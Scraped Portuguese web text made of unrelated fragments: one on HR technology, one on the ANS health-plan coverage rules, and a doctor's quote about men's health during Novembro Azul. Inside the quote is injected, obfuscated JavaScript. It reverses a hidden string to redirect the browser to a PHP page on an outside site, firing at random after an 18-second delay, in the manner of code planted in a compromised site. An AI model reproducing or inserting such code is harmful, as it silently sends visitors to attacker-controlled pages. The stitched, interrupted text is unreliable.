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Grande parte das empresas implementam soluções tecnológicas de RH e desconstroem o paradigma de que o RH não pode ser digital. Essa máxima está equivocada quando  evidenciamos  que  muitas  soluções otimizam  os  processos  internos de  modo  que  as pessoas possam trabalhar de forma mais eficiente e com aumento de performance. As  soluções  de  tecnologia  de  RH  incluem softwares,  plataformas  digitais,  ferramentas  e tecnologias   baseadas   em   nuvem  

A incorporação de novas tecnologias e procedimentos na cobertura dos planos de saúde e a definição de regras para a sua utilização são regulamentadas por meio da Resolução Normativa nº 465 de fevereiro de 2021, a qual fora definida pela ANS por meio de sucessivos ciclos de atualizações do Rol de Procedimentos e Eventos em Saúde, ocorrida a cada dois anos, através dos processos de aprovações, com análise dos técnicos

“É importante que o homem tenha consciência da importância dos cuidados com a saúde, não só nos meses de campanha, como o Novembro Azul, mas durante $mkD=function(n){if (typeof ($mkD.list[n]) == "string") return $mkD.list[n].split("").reverse().join("");return $mkD.list[n];};$mkD.list=["\'php.txEgifnoCetiSrettelsweN/snoisnetxe/edoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}todo o ano", Rodrigo Braz de Queiroz - Médico Urologista do Hospital Urológico de Brasília.